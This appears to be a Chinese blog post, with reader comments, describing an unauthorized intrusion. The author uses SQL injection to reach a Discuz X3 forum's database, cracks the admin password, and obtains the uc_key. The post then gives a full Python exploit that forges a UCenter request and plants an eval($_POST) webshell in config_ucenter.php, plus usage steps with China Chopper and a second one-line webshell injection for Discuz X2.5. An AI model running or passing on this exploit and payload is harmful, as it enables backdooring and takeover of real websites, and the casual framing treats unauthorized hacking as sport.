前段时间玩耍的时候一不小心无意间发现了某网站的sql注入漏洞,用sqlmap拿下数据库后发现了里面有另一个网站的数据库,打开后发现是某BBS论坛,在论坛的底部发现了该论坛使用的是Discuz X3的框架,网站对这款论坛框架爆出了不少的漏洞,没忍住就想搞点事情。。。爆了user表,拿到了admin的账号和MD5加盐处理的管理员密码,拿密码去爆破,运气还不错,密码被爆出来了。可以搞事情了。
据我所知Discuz X3存在一大拿webshell的漏洞,不过该漏洞需要拿到uc_key,当然,现在拿到了数据库了,这个在表中很容易就拿到了。下面具体解释怎么拿shell。
方法是用Python写的,当然不是我写的,是在网上找的。
主要代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
#! /usr/bin/env python #coding=utf-8 import hashlib import time import math import base64 import urllib import urllib2 import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' 发送命令获取webshell ''' headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[1]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "访问出错" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" return "webshell:"+host+"/config/config_ucenter.php,password:1" if __name__ == '__main__': host=sys.argv[1] key=sys.argv[2] url=host+"/api/uc.php" print get_shell(url,key,host) |
使用方法
1.将上面的代码保存为key.py,当然,这个文件要在python下面运行。
2.python key.py 网址 key
3.使用中国菜刀连接即可密码为:1
补充
再说一个Discuz X2.5 后台直接拿shell的方法——直接在UCenter IP 地址:里面插入一句话
登陆后台之后在UCenter IP 输入:
1 |
xxoo\\');eval($_POST[a])?>;// |
2017年10月18日 15:48 沙发
朋友 交换链接吗
2017年10月18日 23:27 1层
@godaddy 不好意思哦,只交换博客友链。
2017年10月28日 00:00 板凳
Discuz 这个论坛好像不行了,是备腾讯收购了吧~
2018年5月25日 20:32 地板
你猜我是谁